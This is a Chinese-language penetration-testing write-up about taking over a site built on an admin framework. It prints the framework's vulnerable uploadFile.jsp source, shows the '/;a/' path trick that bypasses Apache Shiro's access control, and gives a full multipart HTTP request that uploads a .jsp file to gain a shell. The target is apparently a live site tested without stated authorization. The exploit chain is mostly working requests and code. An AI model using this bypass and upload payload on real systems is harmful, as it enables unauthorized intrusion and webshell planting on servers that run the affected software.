那些年拿过的shell之shiro权限绕过

0x01 Shiro反序列化命令执行？

日常挖洞，burpsuite插件shiro告警

用ShiroExploit的dnslog方式和静态文件回显方式都没检测出来。tomcat的回显也是不行。

0x02 任意文件上传？

这个站打开是个登录框

抓包，发现验证码无效，爆破一顿以后没爆出来。注意到

这个框架叫某admin框架，谷歌查了一下这个框架有什么洞，发现一篇帖子。

说存在此文件plugins/uploadify/uploadFile.jsp 且此文件存在任意文件上传

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*, java.util.*, org.apache.commons.fileupload.*, java.util.*" %>
<%@ page import="org.apache.commons.fileupload.disk.*, org.apache.commons.fileupload.servlet.*" %>
<%!
	
	public void upload(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {
		String savePath = this.getServletConfig().getServletContext().getRealPath("");
		savePath = savePath + request.getParameter("uploadPath");
		File f1 = new File(savePath);
		//这里接收了uploadPath的值  System.out.println(request.getParameter("uploadPath"));
		if (!f1.exists()) {
			f1.mkdirs();
		}
		DiskFileItemFactory fac = new DiskFileItemFactory();
		ServletFileUpload upload = new ServletFileUpload(fac);
		upload.setHeaderEncoding("utf-8");
		List fileList = null;
		try {
			fileList = upload.parseRequest(request);
		} catch (FileUploadException ex) {
			return;
		}
		
		
		String fileNmae = request.getParameter("fileNmae"); 
		Iterator<FileItem> it = fileList.iterator();
		String name = "";
		String extName = "";
		while (it.hasNext()) {
			FileItem item = it.next();
			if (!item.isFormField()) {
				name = item.getName();
				long size = item.getSize();
				String type = item.getContentType();
				//System.out.println(size + " " + type);
				if (name == null || name.trim().equals("")) {
					continue;
				}
	
				// 扩展名格式：
				if (name.lastIndexOf(".") >= 0) {
					extName = name.substring(name.lastIndexOf("."));
				}
	
				File file = null;
				if(null != fileNmae && !"".equals(fileNmae)){
					file = new File(savePath + fileNmae);
				}else{
					do {
						if(null != fileNmae && !"".equals(fileNmae)){
							file = new File(savePath + fileNmae);
						}else{
							name = new java.text.SimpleDateFormat("yyyyMMddhhmmss").format(new Date());	//获取当前日期
							name = name + (int)(Math.random()*90000+10000);
							file = new File(savePath + name + extName);
						}
					} while (file.exists());
				}
	
				File saveFile = new File(savePath + name + extName);
				try {
					item.write(saveFile);
				} catch (Exception e) {
					e.printStackTrace();
				}
			}
		}
		response.getWriter().print((name.trim() + extName.trim()).trim());
	}
%>
<%
	upload(request, response);
%>

尝试访问此文件，提示未登录302跳转

想到这个站用了shiro虽然反序列化命令执行修了，但是最近暴的一个shiro权限绕过肯定来不及修。具体可以看这篇文章：https://mp.weixin.qq.com/s/yb6Tb7zSTKKmBlcNVz0MBA

我们使用

/;a/plugins/uploadify/uploadFile.jsp

来绕过shiro的权限控制，可以注意到状态码为200

结合之前给出的代码需要两个参数构造上传包

发现上传成功，但是居然找不到文件。

仔细看了一下才知道request.getParameter("uploadPath");解析不了multipart里的参数，再次构造上传包

POST /;a/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQDeBiVqfe6p3FMnJ


------WebKitFormBoundaryQDeBiVqfe6p3FMnJ
Content-Disposition: form-data; name="imgFile"; filename="2204249.jsp"
Content-Type: image/jpeg

test
------WebKitFormBoundaryQDeBiVqfe6p3FMnJ--

成功shell